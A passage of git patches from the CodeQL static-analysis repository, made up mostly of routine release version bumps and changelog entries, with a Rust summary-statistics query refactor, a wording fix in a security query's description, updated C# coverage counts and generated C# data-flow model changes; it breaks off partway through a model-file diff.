dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 8bffa581e57..19d6b3ed909 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.4 + +No user-facing changes. + ## 2.0.3 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.4.md b/shared/dataflow/change-notes/released/2.0.4.md new file mode 100644 index 00000000000..8e002b6db64 --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.4.md @@ -0,0 +1,3 @@ +## 2.0.4 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index fabf1e86596..0f306f8bd3b 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.3 +lastReleaseVersion: 2.0.4 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index caa60e4d04d..cb4f087f143 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.4-dev +version: 2.0.4 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index e9f3aba90f5..428eb375a90 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.20.md b/shared/mad/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 5e4b3509b05..d5b498e369e 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 8cbc1671c89..8ca74122cc4 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.20.md b/shared/rangeanalysis/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index 61a4c03bcd4..544e541bc32 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 1e1547b2f9d..06d3215edb5 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.20.md b/shared/regex/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 063f6bac374..a9950725bb8 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 55580824a9b..fb40fb4db74 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/ssa/change-notes/released/1.0.20.md b/shared/ssa/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/ssa/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 038bbce301a..0945748a4cd 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index 72016e3f662..b20db016231 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.20.md b/shared/threat-models/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index e3e5fad35e9..6458fce2229 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.20-dev +version: 1.0.20 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index f61d21be585..2f7a36a4d8b 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.20.md b/shared/tutorial/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 4907292655e..3cbfb9b8150 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index dbbac850f62..4c72a93118e 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.20.md b/shared/typeflow/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 1c71dd0795e..974e866403f 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md new file mode 100644 index 00000000000..59b60bad0f3 --- /dev/null +++ b/shared/typeinference/CHANGELOG.md @@ -0,0 +1,3 @@ +## 0.0.1 + +No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.1.md b/shared/typeinference/change-notes/released/0.0.1.md new file mode 100644 index 00000000000..59b60bad0f3 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.1.md @@ -0,0 +1,3 @@ +## 0.0.1 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml new file mode 100644 index 00000000000..c6933410b71 --- /dev/null +++ b/shared/typeinference/codeql-pack.release.yml @@ -0,0 +1,2 @@ +--- +lastReleaseVersion: 0.0.1 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index dc1d4e81ed4..d71f3639515 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.1-dev +version: 0.0.1 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index d527d9f47d9..c31f7b82d8b 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.4 + +No user-facing changes. + ## 2.0.3 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.4.md b/shared/typetracking/change-notes/released/2.0.4.md new file mode 100644 index 00000000000..8e002b6db64 --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.4.md @@ -0,0 +1,3 @@ +## 2.0.4 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index fabf1e86596..0f306f8bd3b 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.3 +lastReleaseVersion: 2.0.4 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index de4bb160af4..dcee785031a 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.4-dev +version: 2.0.4 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index 53806f92bcd..4365eb52a38 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.20.md b/shared/typos/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 369522f1d25..66603d0cfd4 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index 263d05e55f4..fa3c9ff7fb4 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.7 + +No user-facing changes. + ## 2.0.6 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.7.md b/shared/util/change-notes/released/2.0.7.md new file mode 100644 index 00000000000..4eb1353458c --- /dev/null +++ b/shared/util/change-notes/released/2.0.7.md @@ -0,0 +1,3 @@ +## 2.0.7 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index fbbc03c7642..08d5e959449 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.6 +lastReleaseVersion: 2.0.7 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index bf91dbb06f9..ca15e29077c 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.7-dev +version: 2.0.7 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index 281186a77b7..5551a042e15 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.20.md b/shared/xml/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index b8b539862c5..0f0a5c9e585 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index bc24aa51f12..2aff70a053b 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.20.md b/shared/yaml/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index f1dc9a88774..5239b96b722 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.20-dev +version: 1.0.20 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 2b896b57956..d11c1a7a776 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.1.3 + +No user-facing changes. + ## 4.1.2 No user-facing changes. diff --git a/swift/ql/lib/change-notes/released/4.1.3.md b/swift/ql/lib/change-notes/released/4.1.3.md new file mode 100644 index 00000000000..789b2913c77 --- /dev/null +++ b/swift/ql/lib/change-notes/released/4.1.3.md @@ -0,0 +1,3 @@ +## 4.1.3 + +No user-facing changes. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index 2567ae3f9cc..cdfb1853324 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.2 +lastReleaseVersion: 4.1.3 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 60dae36afc6..64b6a20fccc 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.1.3-dev +version: 4.1.3 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index f81969a619e..ee24a514d14 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.1.0 + +### New Queries + +* Added a new summary query counting the total number of extracted AST nodes. + ## 1.0.19 No user-facing changes. diff --git a/swift/ql/src/change-notes/2025-03-18-number_of_nodes.md b/swift/ql/src/change-notes/released/1.1.0.md similarity index 74% rename from swift/ql/src/change-notes/2025-03-18-number_of_nodes.md rename to swift/ql/src/change-notes/released/1.1.0.md index bf7a0819822..c9cba1415cd 100644 --- a/swift/ql/src/change-notes/2025-03-18-number_of_nodes.md +++ b/swift/ql/src/change-notes/released/1.1.0.md @@ -1,4 +1,5 @@ ---- -category: newQuery ---- +## 1.1.0 + +### New Queries + * Added a new summary query counting the total number of extracted AST nodes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index e15e0d267b0..2ac15439f56 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.1.0 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 6c59362f504..7c8c0606694 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.0.20-dev +version: 1.1.0 groups: - swift - queries From ff2a1ca961b95881bbff2b164e6d50e8a2f91628 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 11 Mar 2025 17:31:13 +0000 Subject: [PATCH 172/282] Rust: Group the data in rust/summary/summary-statistics. --- rust/ql/src/queries/summary/SummaryStats.ql | 37 +++++++++++++++------ 1 file changed, 26 insertions(+), 11 deletions(-) diff --git a/rust/ql/src/queries/summary/SummaryStats.ql b/rust/ql/src/queries/summary/SummaryStats.ql index 69ab796c869..d9c88a7c56e 100644 --- a/rust/ql/src/queries/summary/SummaryStats.ql +++ b/rust/ql/src/queries/summary/SummaryStats.ql @@ -9,7 +9,6 @@ import rust import codeql.rust.Concepts import codeql.rust.security.SensitiveData -import codeql.rust.security.WeakSensitiveDataHashingExtensions import codeql.rust.Diagnostics import Stats import TaintReach @@ -22,13 +21,14 @@ class CrateElement extends Element { } } -from string key, int value -where +predicate elementStats(string key, int value) { key = "Elements extracted" and value = count(Element e | not e instanceof Unextracted and not e instanceof CrateElement) or key = "Elements unextracted" and value = count(Unextracted e) - or +} + +predicate extractionStats(string key, int value) { key = "Extraction errors" and value = count(ExtractionError e) or key = "Extraction warnings" and value = count(ExtractionWarning w) @@ -53,6 +53,14 @@ where or key = "Lines of user code extracted" and value = getLinesOfUserCode() or + key = "Macro calls - total" and value = count(MacroCall mc) + or + key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) + or + key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) +} + +predicate inconsistencyStats(string key, int value) { key = "Inconsistencies - AST" and value = getTotalAstInconsistencies() or key = "Inconsistencies - Path resolution" and value = getTotalPathResolutionInconsistencies() @@ -60,13 +68,9 @@ where key = "Inconsistencies - CFG" and value = getTotalCfgInconsistencies() or key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies() - or - key = "Macro calls - total" and value = count(MacroCall mc) - or - key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) - or - key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) - or +} + +predicate taintStats(string key, int value) { key = "Taint sources - active" and value = count(ActiveThreatModelSource s) or key = "Taint sources - disabled" and @@ -84,4 +88,15 @@ where or key = "Taint sinks - cryptographic operations" and value = count(Cryptography::CryptographicOperation o) +} + +from string key, int value +where + elementStats(key, value) + or + extractionStats(key, value) + or + inconsistencyStats(key, value) + or + taintStats(key, value) select key, value order by key From 8737acb6a95715602f92a4699421cc1c61770cfe Mon Sep 17 00:00:00 2001 From: Marco Gario Date: Mon, 31 Mar 2025 20:42:03 +0200 Subject: [PATCH 173/282] Update actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql Co-authored-by: Andrew Eisenberg --- actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql index 90feab533a4..9676e942f7c 100644 --- a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql +++ b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql @@ -1,5 +1,5 @@ /** - * @name Checkout of untrusted code in priviledged context + * @name Checkout of untrusted code in a priviledged context * @description Privileged workflows have read/write access to the base repository and access to secrets. * By explicitly checking out and running the build script from a fork the untrusted code is running in an environment * that is able to push to the base repository and to access secrets. From 1186699269225a58ea4a8a0b79e1940ef4afc9b1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Tue, 1 Apr 2025 00:25:24 +0000 Subject: [PATCH 174/282] Add changed framework coverage reports --- csharp/documentation/library-coverage/coverage.csv | 2 +- csharp/documentation/library-coverage/coverage.rst | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/documentation/library-coverage/coverage.csv b/csharp/documentation/library-coverage/coverage.csv index 21bf90cae72..8ec9be90060 100644 --- a/csharp/documentation/library-coverage/coverage.csv +++ b/csharp/documentation/library-coverage/coverage.csv @@ -42,5 +42,5 @@ MySql.Data.MySqlClient,48,,,,,,,,,,,,48,,,,,,,,,, Newtonsoft.Json,,,91,,,,,,,,,,,,,,,,,,,73,18 ServiceStack,194,,7,27,,,,,75,,,,92,,,,,,,,,7, SourceGenerators,,,5,,,,,,,,,,,,,,,,,,,,5 -System,54,47,12241,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5941,6300 +System,54,47,12255,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5955,6300 Windows.Security.Cryptography.Core,1,,,,,,,1,,,,,,,,,,,,,,, diff --git a/csharp/documentation/library-coverage/coverage.rst b/csharp/documentation/library-coverage/coverage.rst index 3288a1fbaa9..64adc583943 100644 --- a/csharp/documentation/library-coverage/coverage.rst +++ b/csharp/documentation/library-coverage/coverage.rst @@ -8,7 +8,7 @@ C# framework & library support Framework / library,Package,Flow sources,Taint & value steps,Sinks (total),`CWE-079` :sub:`Cross-site scripting` `ServiceStack `_,"``ServiceStack.*``, ``ServiceStack``",,7,194, - System,"``System.*``, ``System``",47,12241,54,5 + System,"``System.*``, ``System``",47,12255,54,5 Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2272,152,4 - Totals,,107,14520,400,9 + Totals,,107,14534,400,9 From ba26953f0b66d60239574b0b0bb68733a11cfd49 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 26 Mar 2025 12:02:43 +0100 Subject: [PATCH 175/282] C#: Update generated .NET 9 models. --- csharp/ql/lib/ext/generated/System.Net.Http.model.yml | 5 +---- csharp/ql/lib/ext/generated/System.model.yml | 9 --------- 2 files changed, 1 insertion(+), 13 deletions(-) diff --git a/csharp/ql/lib/ext/generated/System.Net.Http.model.yml b/csharp/ql/lib/ext/generated/System.Net.Http.model.yml index d080bab51f3..90bc48a115f 100644 --- a/csharp/ql/lib/ext/generated/System.Net.Http.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.Http.model.yml @@ -44,10 +44,7 @@ extensions: - ["System.Net.Http", "HttpMethod", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Net.Http.HttpMethod._method]", "ReturnValue", "value", "dfc-generated"] - ["System.Net.Http", "HttpMethod", False, "get_Method", "()", "", "Argument[this].SyntheticField[System.Net.Http.HttpMethod._method]", "ReturnValue", "value", "dfc-generated"] - ["System.Net.Http", "HttpRequestException", False, "HttpRequestException", "(System.String,System.Exception,System.Nullable)", "", "Argument[2]", "Argument[this].Property[System.Net.Http.HttpRequestException.StatusCode]", "value", "dfc-generated"] - - ["System.Net.Http", "HttpRequestMessage", False, "HttpRequestMessage", "(System.Net.Http.HttpMethod,System.Uri)", "", "Argument[0]", "Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._method]", "value", "dfc-generated"] - - ["System.Net.Http", "HttpRequestMessage", False, "HttpRequestMessage", "(System.Net.Http.HttpMethod,System.Uri)", "", "Argument[1]", "Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._requestUri]", "value", "dfc-generated"] - - ["System.Net.Http", "HttpRequestMessage", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._method]", "ReturnValue", "taint", "dfc-generated"] - - ["System.Net.Http", "HttpRequestMessage", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._requestUri]", "ReturnValue", "taint", "dfc-generated"] + - ["System.Net.Http", "HttpRequestMessage", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Http", "HttpRequestMessage", False, "get_Properties", "()", "", "Argument[this].Property[System.Net.Http.HttpRequestMessage.Options]", "ReturnValue", "value", "dfc-generated"] - ["System.Net.Http", "HttpRequestOptions", False, "get_Keys", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Http", "HttpRequestOptions", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.model.yml b/csharp/ql/lib/ext/generated/System.model.yml index 